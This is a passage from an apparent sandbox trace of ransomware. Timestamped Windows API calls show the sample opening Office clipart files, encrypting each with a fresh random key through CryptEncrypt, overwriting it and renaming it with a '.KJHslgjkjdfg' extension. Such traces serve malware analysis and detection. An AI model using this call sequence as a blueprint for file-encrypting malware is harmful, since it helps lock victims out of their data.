hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.214] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.214] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.214] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.215] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.215] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3d90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3d90, lpOverlapped=0x0) returned 1 [0161.216] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d90, dwBufLen=0x3d90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d90) returned 1 [0161.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.216] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d90, lpOverlapped=0x0) returned 1 [0161.216] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.216] SetEndOfFile (hFile=0x114) returned 1 [0161.219] GetProcessHeap () returned 0x2a0000 [0161.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.219] GetProcessHeap () returned 0x2a0000 [0161.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.kjhslgjkjdfg")) returned 1 [0161.228] CloseHandle (hObject=0x114) returned 1 [0161.228] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0161.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.229] GetProcessHeap () returned 0x2a0000 [0161.229] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.229] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.230] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.232] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.233] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.233] GetProcessHeap () returned 0x2a0000 [0161.233] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.233] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.233] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.233] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.233] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.233] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.233] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.233] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.233] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.233] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.234] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6e34, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6e34, lpOverlapped=0x0) returned 1 [0161.235] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6e40, dwBufLen=0x6e40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6e40) returned 1 [0161.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.235] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6e40, lpOverlapped=0x0) returned 1 [0161.236] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.236] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.236] SetEndOfFile (hFile=0x114) returned 1 [0161.238] GetProcessHeap () returned 0x2a0000 [0161.239] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.239] GetProcessHeap () returned 0x2a0000 [0161.239] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.kjhslgjkjdfg")) returned 1 [0161.240] CloseHandle (hObject=0x114) returned 1 [0161.240] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0161.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.242] GetProcessHeap () returned 0x2a0000 [0161.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.242] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.242] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0161.251] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.251] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.251] GetProcessHeap () returned 0x2a0000 [0161.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.251] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.251] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.251] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.251] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.251] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.251] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.251] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.251] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.251] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.251] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.252] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.252] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x44e6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x44e6, lpOverlapped=0x0) returned 1 [0161.328] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x44f0, dwBufLen=0x44f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x44f0) returned 1 [0161.328] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.328] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x44f0, lpOverlapped=0x0) returned 1 [0161.328] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.328] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x45c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.328] SetEndOfFile (hFile=0x114) returned 1 [0161.331] GetProcessHeap () returned 0x2a0000 [0161.331] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.331] GetProcessHeap () returned 0x2a0000 [0161.331] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.kjhslgjkjdfg")) returned 1 [0161.333] CloseHandle (hObject=0x114) returned 1 [0161.333] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0161.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.334] GetProcessHeap () returned 0x2a0000 [0161.334] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.334] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.334] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.334] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.336] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.336] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.336] GetProcessHeap () returned 0x2a0000 [0161.336] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.336] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.336] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.336] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.336] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.336] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.336] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.337] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.337] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.337] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.337] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd04, lpOverlapped=0x0) returned 1 [0161.337] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd10, dwBufLen=0xd10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd10) returned 1 [0161.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.337] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd10, lpOverlapped=0x0) returned 1 [0161.337] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.337] SetEndOfFile (hFile=0x114) returned 1 [0161.340] GetProcessHeap () returned 0x2a0000 [0161.340] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.340] GetProcessHeap () returned 0x2a0000 [0161.340] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.kjhslgjkjdfg")) returned 1 [0161.341] CloseHandle (hObject=0x114) returned 1 [0161.341] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0161.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.342] GetProcessHeap () returned 0x2a0000 [0161.342] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.342] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.342] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.343] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.343] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.343] GetProcessHeap () returned 0x2a0000 [0161.343] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.343] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.343] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.343] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.345] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.345] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.345] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.345] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.345] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.345] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.345] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.346] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b0, lpOverlapped=0x0) returned 1 [0161.346] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b0) returned 1 [0161.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 